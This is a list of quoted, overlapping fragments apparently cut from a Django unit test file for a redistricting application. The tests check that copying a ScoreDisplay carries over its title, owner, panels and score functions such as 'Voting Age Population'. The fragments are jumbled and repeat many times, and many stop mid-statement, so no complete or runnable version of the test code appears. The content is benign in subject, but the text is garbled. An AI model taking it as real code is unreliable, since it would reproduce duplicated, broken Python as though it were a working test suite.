"self.assertEqual(copy.title, new_copy.title, \"Title of scoredisplay not copied\") self.assertEqual(copy.id, new_copy.id, \"Scorefunctions not added to",
"if panel.title == \"Plan Summary\": self.assertEqual( len(self.summary.score_functions.all()), len(panel.score_functions.all()), \"Copied plan summary panel didn't",
"didn't have correct number of functions\" ) panels_tested += 1 self.assertEqual(2, panels_tested, \"Copied",
"owner rather than copying owner from ScoreDisplay\" ) copy = ScoreDisplay(owner=user) copy =",
"of functions\" ) panels_tested += 1 elif panel.title == \"Demographics\": self.assertEqual( len(self.functions), len(panel.score_functions.all()),",
"needed\") # Let's try just updating those score functions new_copy = ScoreDisplay(owner=user) new_copy",
"name for user more than once\" ) self.assertEqual( len(copy.scorepanel_set.all()), len(self.display.scorepanel_set.all()), \"Copied scoredisplay has",
"self.functions = functions.all() self.demographics = demographics self.summary = summary self.display = display def",
"copied, allowing same name for user more than once\" ) self.assertEqual( len(copy.scorepanel_set.all()), len(self.display.scorepanel_set.all()),",
"user, copy.owner, \"ScoreDisplay copied owner rather than copying owner from ScoreDisplay\" ) copy",
"have correct number of functions\" ) panels_tested += 1 self.assertEqual(2, panels_tested, \"Copied scoredisplay",
"copy = copy.copy_from(display=self.display, owner=user) self.assertEqual(self.display.__unicode__(), copy.__unicode__(), \"Title of scoredisplay not copied\") self.assertEqual( len(copy.scorepanel_set.all()),",
"owner=user) self.assertEqual(self.display.__unicode__(), copy.__unicode__(), \"Title of scoredisplay not copied\") self.assertEqual( len(copy.scorepanel_set.all()), len(self.display.scorepanel_set.all()), \"Copied scoredisplay",
"from\") self.assertEqual( len(copy.scorepanel_set.all()), len(self.display.scorepanel_set.all()), \"Copied scoredisplay has wrong number of panels attached\") new_demo",
"scoredisplay has wrong number of panels attached\") vap = ScoreFunction.objects.get(name=\"Voting Age Population\") copy",
"number of panels attached\") new_demo = ScoreDisplay.objects.get(title=\"Copied from\") panels_tested = 0 for panel",
"self.assertEqual( len(self.summary.score_functions.all()), len(panel.score_functions.all()), \"Copied plan summary panel didn't have correct number of functions\"",
"wrong number of panels attached\") panels_tested = 0 for panel in new_copy.scorepanel_set.all(): if",
"len(copy.scorepanel_set.all()), len(self.display.scorepanel_set.all()), \"Copied scoredisplay has wrong number of panels attached\") vap = ScoreFunction.objects.get(name=\"Voting",
"def tearDown(self): self.display.delete() super(StatisticsSetTestCase, self).tearDown() def test_copy_scoredisplay(self): user = User(username=\"Stats User\") user.save() #",
"ScoreDisplay.objects.get(title=\"Copied from\") panels_tested = 0 for panel in new_demo.scorepanel_set.all(): if panel.title == \"Plan",
"panel in new_demo.scorepanel_set.all(): if panel.title == \"Plan Summary\": self.assertEqual( len(self.summary.score_functions.all()), len(panel.score_functions.all()), \"Copied plan",
"0 for panel in new_copy.scorepanel_set.all(): if panel.title == \"Plan Summary\": self.assertEqual( len(self.summary.score_functions.all()), len(panel.score_functions.all()),",
"[ 'redistricting_testdata.json', 'redistricting_testdata_geolevel2.json', 'redistricting_statisticssets.json', ] def setUp(self): super(StatisticsSetTestCase, self).setUp() display = ScoreDisplay.objects.get(title='Demographics') summary",
"functions; e:%d,a:%d\" % (3, len(panel.score_functions.all()))) panels_tested += 1 self.assertEqual(2, panels_tested, \"Copied scoredisplay didn't",
"copied owner rather than copying owner from ScoreDisplay\" ) copy = ScoreDisplay(owner=user) copy",
"= [ 'redistricting_testdata.json', 'redistricting_testdata_geolevel2.json', 'redistricting_statisticssets.json', ] def setUp(self): super(StatisticsSetTestCase, self).setUp() display = ScoreDisplay.objects.get(title='Demographics')",
"demographics = ScorePanel.objects.get(title='Demographics') display.scorepanel_set.add(summary) display.scorepanel_set.add(demographics) functions = ScoreFunction.objects.filter( name__in=('Voting Age Population', 'Hispanic voting-age",
"len(panel.score_functions.all()), \"Copied plan summary panel didn't have correct number of functions\" ) panels_tested",
"self.display.__unicode__(), copy.__unicode__(), \"ScoreDisplay title copied, allowing same name for user more than once\"",
"len(panel.score_functions.all()), \"Copied demographics panel didn't have correct number of functions; e:%d,a:%d\" % (3,",
"self.display.delete() super(StatisticsSetTestCase, self).tearDown() def test_copy_scoredisplay(self): user = User(username=\"Stats User\") user.save() # We'll set",
"for panel in new_demo.scorepanel_set.all(): if panel.title == \"Plan Summary\": self.assertEqual( len(self.summary.score_functions.all()), len(panel.score_functions.all()), \"Copied",
"of scoredisplay not copied\") self.assertEqual(copy.id, new_copy.id, \"Scorefunctions not added to current display\") self.assertEqual(",
"\"Copied plan summary panel didn't have correct number of functions\" ) panels_tested +=",
"functions new_copy = ScoreDisplay(owner=user) new_copy = copy.copy_from(display=copy, functions=self.functions) self.assertEqual(copy.title, new_copy.title, \"Title of scoredisplay",
"have correct number of functions; e:%d,a:%d\" % (3, len(panel.score_functions.all()))) panels_tested += 1 self.assertEqual(2,",
"voting-age population', 'Total Population')) demographics.score_functions = functions.all() demographics.save() self.functions = functions.all() self.demographics =",
"display def tearDown(self): self.display.delete() super(StatisticsSetTestCase, self).tearDown() def test_copy_scoredisplay(self): user = User(username=\"Stats User\") user.save()",
"has wrong number of panels attached\") new_demo = ScoreDisplay.objects.get(title=\"Copied from\") panels_tested = 0",
"User\") user.save() # We'll set the owner but it's overwritten copy = ScoreDisplay(owner=user)",
"super(StatisticsSetTestCase, self).setUp() display = ScoreDisplay.objects.get(title='Demographics') summary = ScorePanel.objects.get(title='Plan Summary') demographics = ScorePanel.objects.get(title='Demographics') display.scorepanel_set.add(summary)",
") panels_tested += 1 elif panel.title == \"Demographics\": self.assertEqual(1, len( panel.score_functions.all() ), \"Copied",
"self.assertEqual(copy.id, new_copy.id, \"Scorefunctions not added to current display\") self.assertEqual( len(copy.scorepanel_set.all()), len(new_copy.scorepanel_set.all()), \"Copied scoredisplay",
"more than once\" ) self.assertEqual( len(copy.scorepanel_set.all()), len(self.display.scorepanel_set.all()), \"Copied scoredisplay has wrong number of",
"super(StatisticsSetTestCase, self).tearDown() def test_copy_scoredisplay(self): user = User(username=\"Stats User\") user.save() # We'll set the",
"self).tearDown() def test_copy_scoredisplay(self): user = User(username=\"Stats User\") user.save() # We'll set the owner",
"number of functions\" ) panels_tested += 1 self.assertEqual(2, panels_tested, \"Copied scoredisplay didn't have",
"= User(username=\"Stats User\") user.save() # We'll set the owner but it's overwritten copy",
"new_demo.scorepanel_set.all(): if panel.title == \"Plan Summary\": self.assertEqual( len(self.summary.score_functions.all()), len(panel.score_functions.all()), \"Copied plan summary panel",
"demographics.save() self.functions = functions.all() self.demographics = demographics self.summary = summary self.display = display",
"panel didn't have correct number of functions\" ) panels_tested += 1 elif panel.title",
"than copying owner from ScoreDisplay\" ) copy = ScoreDisplay(owner=user) copy = copy.copy_from(display=self.display, owner=user)",
"We'll set the owner but it's overwritten copy = ScoreDisplay(owner=user) copy = copy.copy_from(display=self.display)",
"correct number of functions\" ) panels_tested += 1 elif panel.title == \"Demographics\": self.assertEqual(1,",
"scoredisplay didn't have both panels needed\") # Let's try just updating those score",
"owner but it's overwritten copy = ScoreDisplay(owner=user) copy = copy.copy_from(display=self.display) self.assertEqual( \"%s copy\"",
"self.assertNotEqual( user, copy.owner, \"ScoreDisplay copied owner rather than copying owner from ScoreDisplay\" )",
"+= 1 self.assertEqual(2, panels_tested, \"Copied scoredisplay didn't have both panels needed\") # Let's",
"try just updating those score functions new_copy = ScoreDisplay(owner=user) new_copy = copy.copy_from(display=copy, functions=self.functions)",
"self.assertEqual( len(copy.scorepanel_set.all()), len(self.display.scorepanel_set.all()), \"Copied scoredisplay has wrong number of panels attached\") new_demo =",
"user = User(username=\"Stats User\") user.save() # We'll set the owner but it's overwritten",
"updating those score functions new_copy = ScoreDisplay(owner=user) new_copy = copy.copy_from(display=copy, functions=self.functions) self.assertEqual(copy.title, new_copy.title,",
"elif panel.title == \"Demographics\": self.assertEqual(1, len( panel.score_functions.all() ), \"Copied demographics panel didn't have",
"both panels needed\") # Let's try just updating those score functions new_copy =",
"'redistricting_statisticssets.json', ] def setUp(self): super(StatisticsSetTestCase, self).setUp() display = ScoreDisplay.objects.get(title='Demographics') summary = ScorePanel.objects.get(title='Plan Summary')",
"functions.all() demographics.save() self.functions = functions.all() self.demographics = demographics self.summary = summary self.display =",
"ScoreDisplay(owner=user) copy = copy.copy_from(display=self.display, owner=user) self.assertEqual(self.display.__unicode__(), copy.__unicode__(), \"Title of scoredisplay not copied\") self.assertEqual(",
"summary self.display = display def tearDown(self): self.display.delete() super(StatisticsSetTestCase, self).tearDown() def test_copy_scoredisplay(self): user =",
"ScorePanel.objects.get(title='Plan Summary') demographics = ScorePanel.objects.get(title='Demographics') display.scorepanel_set.add(summary) display.scorepanel_set.add(demographics) functions = ScoreFunction.objects.filter( name__in=('Voting Age Population',",
"% (3, len(panel.score_functions.all()))) panels_tested += 1 self.assertEqual(2, panels_tested, \"Copied scoredisplay didn't have both",
"of panels attached\") new_demo = ScoreDisplay.objects.get(title=\"Copied from\") panels_tested = 0 for panel in",
"len(self.functions), len(panel.score_functions.all()), \"Copied demographics panel didn't have correct number of functions; e:%d,a:%d\" %",
"new_copy.scorepanel_set.all(): if panel.title == \"Plan Summary\": self.assertEqual( len(self.summary.score_functions.all()), len(panel.score_functions.all()), \"Copied plan summary panel",
"\"Demographics\": self.assertEqual( len(self.functions), len(panel.score_functions.all()), \"Copied demographics panel didn't have correct number of functions;",
"self.assertEqual( len(copy.scorepanel_set.all()), len(self.display.scorepanel_set.all()), \"Copied scoredisplay has wrong number of panels attached\") vap =",
"self.assertEqual( \"%s copy\" % self.display.__unicode__(), copy.__unicode__(), \"ScoreDisplay title copied, allowing same name for",
"copied\") self.assertEqual(copy.id, new_copy.id, \"Scorefunctions not added to current display\") self.assertEqual( len(copy.scorepanel_set.all()), len(new_copy.scorepanel_set.all()), \"Copied",
"didn't have both panels needed\") # Let's try just updating those score functions",
"len(copy.scorepanel_set.all()), len(self.display.scorepanel_set.all()), \"Copied scoredisplay has wrong number of panels attached\") new_demo = ScoreDisplay.objects.get(title=\"Copied",
"\"ScoreDisplay copied owner rather than copying owner from ScoreDisplay\" ) copy = ScoreDisplay(owner=user)",
"not copied\") self.assertEqual(copy.id, new_copy.id, \"Scorefunctions not added to current display\") self.assertEqual( len(copy.scorepanel_set.all()), len(new_copy.scorepanel_set.all()),",
"+= 1 elif panel.title == \"Demographics\": self.assertEqual(1, len( panel.score_functions.all() ), \"Copied demographics panel",
") panels_tested += 1 elif panel.title == \"Demographics\": self.assertEqual( len(self.functions), len(panel.score_functions.all()), \"Copied demographics",
"panels_tested = 0 for panel in new_copy.scorepanel_set.all(): if panel.title == \"Plan Summary\": self.assertEqual(",
"\"Copied scoredisplay has wrong number of panels attached\") self.assertNotEqual( user, copy.owner, \"ScoreDisplay copied",
"len(copy.scorepanel_set.all()), len(new_copy.scorepanel_set.all()), \"Copied scoredisplay has wrong number of panels attached\") panels_tested = 0",
"\"Demographics\": self.assertEqual(1, len( panel.score_functions.all() ), \"Copied demographics panel didn't have correct number of",
"test_copy_scoredisplay(self): user = User(username=\"Stats User\") user.save() # We'll set the owner but it's",
"copy.copy_from(display=self.display, owner=user) self.assertEqual(self.display.__unicode__(), copy.__unicode__(), \"Title of scoredisplay not copied\") self.assertEqual( len(copy.scorepanel_set.all()), len(self.display.scorepanel_set.all()), \"Copied",
"panels attached\") self.assertNotEqual( user, copy.owner, \"ScoreDisplay copied owner rather than copying owner from",
"\"Copied demographics panel didn't have correct number of functions; e:%d,a:%d\" % (3, len(panel.score_functions.all())))",
"import BaseTestCase from django.contrib.auth.models import User from redistricting.models import * class StatisticsSetTestCase(BaseTestCase): fixtures",
"= ScoreFunction.objects.filter( name__in=('Voting Age Population', 'Hispanic voting-age population', 'Total Population')) demographics.score_functions = functions.all()",
"= summary self.display = display def tearDown(self): self.display.delete() super(StatisticsSetTestCase, self).tearDown() def test_copy_scoredisplay(self): user",
"scoredisplay has wrong number of panels attached\") new_demo = ScoreDisplay.objects.get(title=\"Copied from\") panels_tested =",
"panel didn't have correct number of functions; e:%d,a:%d\" % (3, len(panel.score_functions.all()))) panels_tested +=",
"e:%d,a:%d\" % (3, len(panel.score_functions.all()))) panels_tested += 1 self.assertEqual(2, panels_tested, \"Copied scoredisplay didn't have",
"display = ScoreDisplay.objects.get(title='Demographics') summary = ScorePanel.objects.get(title='Plan Summary') demographics = ScorePanel.objects.get(title='Demographics') display.scorepanel_set.add(summary) display.scorepanel_set.add(demographics) functions",
"= 0 for panel in new_copy.scorepanel_set.all(): if panel.title == \"Plan Summary\": self.assertEqual( len(self.summary.score_functions.all()),",
"copy.__unicode__(), \"Title of scoredisplay not copied\") self.assertEqual( len(copy.scorepanel_set.all()), len(self.display.scorepanel_set.all()), \"Copied scoredisplay has wrong",
"self.assertEqual(2, panels_tested, \"Copied scoredisplay didn't have both panels needed\") # Let's try just",
"demographics.score_functions = functions.all() demographics.save() self.functions = functions.all() self.demographics = demographics self.summary = summary",
"(3, len(panel.score_functions.all()))) panels_tested += 1 self.assertEqual(2, panels_tested, \"Copied scoredisplay didn't have both panels",
"attached\") panels_tested = 0 for panel in new_copy.scorepanel_set.all(): if panel.title == \"Plan Summary\":",
"len(panel.score_functions.all()))) panels_tested += 1 self.assertEqual(2, panels_tested, \"Copied scoredisplay didn't have both panels needed\")",
"it's overwritten copy = ScoreDisplay(owner=user) copy = copy.copy_from(display=self.display) self.assertEqual( \"%s copy\" % self.display.__unicode__(),",
"\"Copied scoredisplay has wrong number of panels attached\") vap = ScoreFunction.objects.get(name=\"Voting Age Population\")",
"new_copy.id, \"Scorefunctions not added to current display\") self.assertEqual( len(copy.scorepanel_set.all()), len(new_copy.scorepanel_set.all()), \"Copied scoredisplay has",
"of panels attached\") vap = ScoreFunction.objects.get(name=\"Voting Age Population\") copy = copy.copy_from( display=self.display, functions=[unicode(str(vap.id))],",
"for user more than once\" ) self.assertEqual( len(copy.scorepanel_set.all()), len(self.display.scorepanel_set.all()), \"Copied scoredisplay has wrong",
"demographics panel didn't have correct number of functions; e:%d,a:%d\" % (3, len(panel.score_functions.all()))) panels_tested",
"= functions.all() self.demographics = demographics self.summary = summary self.display = display def tearDown(self):",
"len(self.display.scorepanel_set.all()), \"Copied scoredisplay has wrong number of panels attached\") new_demo = ScoreDisplay.objects.get(title=\"Copied from\")",
"scoredisplay not copied\") self.assertEqual(copy.id, new_copy.id, \"Scorefunctions not added to current display\") self.assertEqual( len(copy.scorepanel_set.all()),",
"ScoreDisplay(owner=user) new_copy = copy.copy_from(display=copy, functions=self.functions) self.assertEqual(copy.title, new_copy.title, \"Title of scoredisplay not copied\") self.assertEqual(copy.id,",
"= copy.copy_from(display=self.display) self.assertEqual( \"%s copy\" % self.display.__unicode__(), copy.__unicode__(), \"ScoreDisplay title copied, allowing same",
"copy = copy.copy_from( display=self.display, functions=[unicode(str(vap.id))], title=\"Copied from\") self.assertEqual( len(copy.scorepanel_set.all()), len(self.display.scorepanel_set.all()), \"Copied scoredisplay has",
"self.assertEqual( len(copy.scorepanel_set.all()), len(new_copy.scorepanel_set.all()), \"Copied scoredisplay has wrong number of panels attached\") panels_tested =",
"attached\") vap = ScoreFunction.objects.get(name=\"Voting Age Population\") copy = copy.copy_from( display=self.display, functions=[unicode(str(vap.id))], title=\"Copied from\")",
"but it's overwritten copy = ScoreDisplay(owner=user) copy = copy.copy_from(display=self.display) self.assertEqual( \"%s copy\" %",
"functions=self.functions) self.assertEqual(copy.title, new_copy.title, \"Title of scoredisplay not copied\") self.assertEqual(copy.id, new_copy.id, \"Scorefunctions not added",
"copy.owner, \"ScoreDisplay copied owner rather than copying owner from ScoreDisplay\" ) copy =",
"\"ScoreDisplay title copied, allowing same name for user more than once\" ) self.assertEqual(",
"self.summary = summary self.display = display def tearDown(self): self.display.delete() super(StatisticsSetTestCase, self).tearDown() def test_copy_scoredisplay(self):",
"correct number of functions\" ) panels_tested += 1 elif panel.title == \"Demographics\": self.assertEqual(",
"panel.title == \"Demographics\": self.assertEqual( len(self.functions), len(panel.score_functions.all()), \"Copied demographics panel didn't have correct number",
"Population')) demographics.score_functions = functions.all() demographics.save() self.functions = functions.all() self.demographics = demographics self.summary =",
"display=self.display, functions=[unicode(str(vap.id))], title=\"Copied from\") self.assertEqual( len(copy.scorepanel_set.all()), len(self.display.scorepanel_set.all()), \"Copied scoredisplay has wrong number of",
"Age Population\") copy = copy.copy_from( display=self.display, functions=[unicode(str(vap.id))], title=\"Copied from\") self.assertEqual( len(copy.scorepanel_set.all()), len(self.display.scorepanel_set.all()), \"Copied",
"overwritten copy = ScoreDisplay(owner=user) copy = copy.copy_from(display=self.display) self.assertEqual( \"%s copy\" % self.display.__unicode__(), copy.__unicode__(),",
"self.demographics = demographics self.summary = summary self.display = display def tearDown(self): self.display.delete() super(StatisticsSetTestCase,",
"= 0 for panel in new_demo.scorepanel_set.all(): if panel.title == \"Plan Summary\": self.assertEqual( len(self.summary.score_functions.all()),",
"score functions new_copy = ScoreDisplay(owner=user) new_copy = copy.copy_from(display=copy, functions=self.functions) self.assertEqual(copy.title, new_copy.title, \"Title of",
"have correct number of functions\" ) panels_tested += 1 elif panel.title == \"Demographics\":",
"copy\" % self.display.__unicode__(), copy.__unicode__(), \"ScoreDisplay title copied, allowing same name for user more",
"panels_tested += 1 elif panel.title == \"Demographics\": self.assertEqual(1, len( panel.score_functions.all() ), \"Copied demographics",
"\"Title of scoredisplay not copied\") self.assertEqual(copy.id, new_copy.id, \"Scorefunctions not added to current display\")",
"self.assertEqual( len(copy.scorepanel_set.all()), len(self.display.scorepanel_set.all()), \"Copied scoredisplay has wrong number of panels attached\") self.assertNotEqual( user,",
"\"Scorefunctions not added to current display\") self.assertEqual( len(copy.scorepanel_set.all()), len(new_copy.scorepanel_set.all()), \"Copied scoredisplay has wrong",
"scoredisplay has wrong number of panels attached\") panels_tested = 0 for panel in",
"panel didn't have correct number of functions\" ) panels_tested += 1 self.assertEqual(2, panels_tested,",
"# Let's try just updating those score functions new_copy = ScoreDisplay(owner=user) new_copy =",
"new_copy = ScoreDisplay(owner=user) new_copy = copy.copy_from(display=copy, functions=self.functions) self.assertEqual(copy.title, new_copy.title, \"Title of scoredisplay not",
"\"Title of scoredisplay not copied\") self.assertEqual( len(copy.scorepanel_set.all()), len(self.display.scorepanel_set.all()), \"Copied scoredisplay has wrong number",
"len(new_copy.scorepanel_set.all()), \"Copied scoredisplay has wrong number of panels attached\") panels_tested = 0 for",
"demographics self.summary = summary self.display = display def tearDown(self): self.display.delete() super(StatisticsSetTestCase, self).tearDown() def",
"vap = ScoreFunction.objects.get(name=\"Voting Age Population\") copy = copy.copy_from( display=self.display, functions=[unicode(str(vap.id))], title=\"Copied from\") self.assertEqual(",
"user more than once\" ) self.assertEqual( len(copy.scorepanel_set.all()), len(self.display.scorepanel_set.all()), \"Copied scoredisplay has wrong number",
"Population', 'Hispanic voting-age population', 'Total Population')) demographics.score_functions = functions.all() demographics.save() self.functions = functions.all()",
"wrong number of panels attached\") vap = ScoreFunction.objects.get(name=\"Voting Age Population\") copy = copy.copy_from(",
"setUp(self): super(StatisticsSetTestCase, self).setUp() display = ScoreDisplay.objects.get(title='Demographics') summary = ScorePanel.objects.get(title='Plan Summary') demographics = ScorePanel.objects.get(title='Demographics')",
"from ScoreDisplay\" ) copy = ScoreDisplay(owner=user) copy = copy.copy_from(display=self.display, owner=user) self.assertEqual(self.display.__unicode__(), copy.__unicode__(), \"Title",
") self.assertEqual( len(copy.scorepanel_set.all()), len(self.display.scorepanel_set.all()), \"Copied scoredisplay has wrong number of panels attached\") self.assertNotEqual(",
"def test_copy_scoredisplay(self): user = User(username=\"Stats User\") user.save() # We'll set the owner but",
"panels_tested += 1 elif panel.title == \"Demographics\": self.assertEqual( len(self.functions), len(panel.score_functions.all()), \"Copied demographics panel",
"Population\") copy = copy.copy_from( display=self.display, functions=[unicode(str(vap.id))], title=\"Copied from\") self.assertEqual( len(copy.scorepanel_set.all()), len(self.display.scorepanel_set.all()), \"Copied scoredisplay",
"] def setUp(self): super(StatisticsSetTestCase, self).setUp() display = ScoreDisplay.objects.get(title='Demographics') summary = ScorePanel.objects.get(title='Plan Summary') demographics",
"of functions\" ) panels_tested += 1 self.assertEqual(2, panels_tested, \"Copied scoredisplay didn't have both",
"correct number of functions; e:%d,a:%d\" % (3, len(panel.score_functions.all()))) panels_tested += 1 self.assertEqual(2, panels_tested,",
"panels needed\") # Let's try just updating those score functions new_copy = ScoreDisplay(owner=user)",
"number of functions; e:%d,a:%d\" % (3, len(panel.score_functions.all()))) panels_tested += 1 self.assertEqual(2, panels_tested, \"Copied",
"self.assertEqual(1, len( panel.score_functions.all() ), \"Copied demographics panel didn't have correct number of functions\"",
"= copy.copy_from( display=self.display, functions=[unicode(str(vap.id))], title=\"Copied from\") self.assertEqual( len(copy.scorepanel_set.all()), len(self.display.scorepanel_set.all()), \"Copied scoredisplay has wrong",
"number of panels attached\") self.assertNotEqual( user, copy.owner, \"ScoreDisplay copied owner rather than copying",
"to current display\") self.assertEqual( len(copy.scorepanel_set.all()), len(new_copy.scorepanel_set.all()), \"Copied scoredisplay has wrong number of panels",
"copying owner from ScoreDisplay\" ) copy = ScoreDisplay(owner=user) copy = copy.copy_from(display=self.display, owner=user) self.assertEqual(self.display.__unicode__(),",
"rather than copying owner from ScoreDisplay\" ) copy = ScoreDisplay(owner=user) copy = copy.copy_from(display=self.display,",
"has wrong number of panels attached\") self.assertNotEqual( user, copy.owner, \"ScoreDisplay copied owner rather",
"plan summary panel didn't have correct number of functions\" ) panels_tested += 1",
"= ScoreDisplay.objects.get(title=\"Copied from\") panels_tested = 0 for panel in new_demo.scorepanel_set.all(): if panel.title ==",
"self.assertEqual(self.display.__unicode__(), copy.__unicode__(), \"Title of scoredisplay not copied\") self.assertEqual( len(copy.scorepanel_set.all()), len(self.display.scorepanel_set.all()), \"Copied scoredisplay has",
"len( panel.score_functions.all() ), \"Copied demographics panel didn't have correct number of functions\" )",
"def setUp(self): super(StatisticsSetTestCase, self).setUp() display = ScoreDisplay.objects.get(title='Demographics') summary = ScorePanel.objects.get(title='Plan Summary') demographics =",
"those score functions new_copy = ScoreDisplay(owner=user) new_copy = copy.copy_from(display=copy, functions=self.functions) self.assertEqual(copy.title, new_copy.title, \"Title",
"'redistricting_testdata.json', 'redistricting_testdata_geolevel2.json', 'redistricting_statisticssets.json', ] def setUp(self): super(StatisticsSetTestCase, self).setUp() display = ScoreDisplay.objects.get(title='Demographics') summary =",
"have both panels needed\") # Let's try just updating those score functions new_copy",
"== \"Plan Summary\": self.assertEqual( len(self.summary.score_functions.all()), len(panel.score_functions.all()), \"Copied plan summary panel didn't have correct",
"attached\") self.assertNotEqual( user, copy.owner, \"ScoreDisplay copied owner rather than copying owner from ScoreDisplay\"",
"of panels attached\") panels_tested = 0 for panel in new_copy.scorepanel_set.all(): if panel.title ==",
"of scoredisplay not copied\") self.assertEqual( len(copy.scorepanel_set.all()), len(self.display.scorepanel_set.all()), \"Copied scoredisplay has wrong number of",
"= ScoreFunction.objects.get(name=\"Voting Age Population\") copy = copy.copy_from( display=self.display, functions=[unicode(str(vap.id))], title=\"Copied from\") self.assertEqual( len(copy.scorepanel_set.all()),",
"owner from ScoreDisplay\" ) copy = ScoreDisplay(owner=user) copy = copy.copy_from(display=self.display, owner=user) self.assertEqual(self.display.__unicode__(), copy.__unicode__(),",
"wrong number of panels attached\") self.assertNotEqual( user, copy.owner, \"ScoreDisplay copied owner rather than",
"title=\"Copied from\") self.assertEqual( len(copy.scorepanel_set.all()), len(self.display.scorepanel_set.all()), \"Copied scoredisplay has wrong number of panels attached\")",
"functions\" ) panels_tested += 1 elif panel.title == \"Demographics\": self.assertEqual( len(self.functions), len(panel.score_functions.all()), \"Copied",
"copy.copy_from(display=copy, functions=self.functions) self.assertEqual(copy.title, new_copy.title, \"Title of scoredisplay not copied\") self.assertEqual(copy.id, new_copy.id, \"Scorefunctions not",
"allowing same name for user more than once\" ) self.assertEqual( len(copy.scorepanel_set.all()), len(self.display.scorepanel_set.all()), \"Copied",
"panels attached\") vap = ScoreFunction.objects.get(name=\"Voting Age Population\") copy = copy.copy_from( display=self.display, functions=[unicode(str(vap.id))], title=\"Copied",
"functions\" ) panels_tested += 1 elif panel.title == \"Demographics\": self.assertEqual(1, len( panel.score_functions.all() ),",
"import User from redistricting.models import * class StatisticsSetTestCase(BaseTestCase): fixtures = [ 'redistricting_testdata.json', 'redistricting_testdata_geolevel2.json',",
"panels_tested, \"Copied scoredisplay didn't have both panels needed\") # Let's try just updating",
"self).setUp() display = ScoreDisplay.objects.get(title='Demographics') summary = ScorePanel.objects.get(title='Plan Summary') demographics = ScorePanel.objects.get(title='Demographics') display.scorepanel_set.add(summary) display.scorepanel_set.add(demographics)",
"'Hispanic voting-age population', 'Total Population')) demographics.score_functions = functions.all() demographics.save() self.functions = functions.all() self.demographics",
"new_demo = ScoreDisplay.objects.get(title=\"Copied from\") panels_tested = 0 for panel in new_demo.scorepanel_set.all(): if panel.title",
"just updating those score functions new_copy = ScoreDisplay(owner=user) new_copy = copy.copy_from(display=copy, functions=self.functions) self.assertEqual(copy.title,",
"panel in new_copy.scorepanel_set.all(): if panel.title == \"Plan Summary\": self.assertEqual( len(self.summary.score_functions.all()), len(panel.score_functions.all()), \"Copied plan",
"of functions; e:%d,a:%d\" % (3, len(panel.score_functions.all()))) panels_tested += 1 self.assertEqual(2, panels_tested, \"Copied scoredisplay",
"= ScorePanel.objects.get(title='Demographics') display.scorepanel_set.add(summary) display.scorepanel_set.add(demographics) functions = ScoreFunction.objects.filter( name__in=('Voting Age Population', 'Hispanic voting-age population',",
"panels attached\") new_demo = ScoreDisplay.objects.get(title=\"Copied from\") panels_tested = 0 for panel in new_demo.scorepanel_set.all():",
"class StatisticsSetTestCase(BaseTestCase): fixtures = [ 'redistricting_testdata.json', 'redistricting_testdata_geolevel2.json', 'redistricting_statisticssets.json', ] def setUp(self): super(StatisticsSetTestCase, self).setUp()",
"= copy.copy_from(display=copy, functions=self.functions) self.assertEqual(copy.title, new_copy.title, \"Title of scoredisplay not copied\") self.assertEqual(copy.id, new_copy.id, \"Scorefunctions",
"= demographics self.summary = summary self.display = display def tearDown(self): self.display.delete() super(StatisticsSetTestCase, self).tearDown()",
"\"%s copy\" % self.display.__unicode__(), copy.__unicode__(), \"ScoreDisplay title copied, allowing same name for user",
"copy.__unicode__(), \"ScoreDisplay title copied, allowing same name for user more than once\" )",
"len(copy.scorepanel_set.all()), len(self.display.scorepanel_set.all()), \"Copied scoredisplay has wrong number of panels attached\") self.assertNotEqual( user, copy.owner,",
"name__in=('Voting Age Population', 'Hispanic voting-age population', 'Total Population')) demographics.score_functions = functions.all() demographics.save() self.functions",
"summary = ScorePanel.objects.get(title='Plan Summary') demographics = ScorePanel.objects.get(title='Demographics') display.scorepanel_set.add(summary) display.scorepanel_set.add(demographics) functions = ScoreFunction.objects.filter( name__in=('Voting",
"has wrong number of panels attached\") vap = ScoreFunction.objects.get(name=\"Voting Age Population\") copy =",
"ScoreFunction.objects.filter( name__in=('Voting Age Population', 'Hispanic voting-age population', 'Total Population')) demographics.score_functions = functions.all() demographics.save()",
"copy = copy.copy_from(display=self.display) self.assertEqual( \"%s copy\" % self.display.__unicode__(), copy.__unicode__(), \"ScoreDisplay title copied, allowing",
"functions\" ) panels_tested += 1 self.assertEqual(2, panels_tested, \"Copied scoredisplay didn't have both panels",
"user.save() # We'll set the owner but it's overwritten copy = ScoreDisplay(owner=user) copy",
"BaseTestCase from django.contrib.auth.models import User from redistricting.models import * class StatisticsSetTestCase(BaseTestCase): fixtures =",
"User from redistricting.models import * class StatisticsSetTestCase(BaseTestCase): fixtures = [ 'redistricting_testdata.json', 'redistricting_testdata_geolevel2.json', 'redistricting_statisticssets.json',",
"= display def tearDown(self): self.display.delete() super(StatisticsSetTestCase, self).tearDown() def test_copy_scoredisplay(self): user = User(username=\"Stats User\")",
"the owner but it's overwritten copy = ScoreDisplay(owner=user) copy = copy.copy_from(display=self.display) self.assertEqual( \"%s",
"ScoreDisplay.objects.get(title='Demographics') summary = ScorePanel.objects.get(title='Plan Summary') demographics = ScorePanel.objects.get(title='Demographics') display.scorepanel_set.add(summary) display.scorepanel_set.add(demographics) functions = ScoreFunction.objects.filter(",
"1 self.assertEqual(2, panels_tested, \"Copied scoredisplay didn't have both panels needed\") # Let's try",
"ScoreFunction.objects.get(name=\"Voting Age Population\") copy = copy.copy_from( display=self.display, functions=[unicode(str(vap.id))], title=\"Copied from\") self.assertEqual( len(copy.scorepanel_set.all()), len(self.display.scorepanel_set.all()),",
"ScoreDisplay(owner=user) copy = copy.copy_from(display=self.display) self.assertEqual( \"%s copy\" % self.display.__unicode__(), copy.__unicode__(), \"ScoreDisplay title copied,",
"panels attached\") panels_tested = 0 for panel in new_copy.scorepanel_set.all(): if panel.title == \"Plan",
"title copied, allowing same name for user more than once\" ) self.assertEqual( len(copy.scorepanel_set.all()),",
"0 for panel in new_demo.scorepanel_set.all(): if panel.title == \"Plan Summary\": self.assertEqual( len(self.summary.score_functions.all()), len(panel.score_functions.all()),",
"than once\" ) self.assertEqual( len(copy.scorepanel_set.all()), len(self.display.scorepanel_set.all()), \"Copied scoredisplay has wrong number of panels",
"from django.contrib.auth.models import User from redistricting.models import * class StatisticsSetTestCase(BaseTestCase): fixtures = [",
"has wrong number of panels attached\") panels_tested = 0 for panel in new_copy.scorepanel_set.all():",
"number of panels attached\") vap = ScoreFunction.objects.get(name=\"Voting Age Population\") copy = copy.copy_from( display=self.display,",
"population', 'Total Population')) demographics.score_functions = functions.all() demographics.save() self.functions = functions.all() self.demographics = demographics",
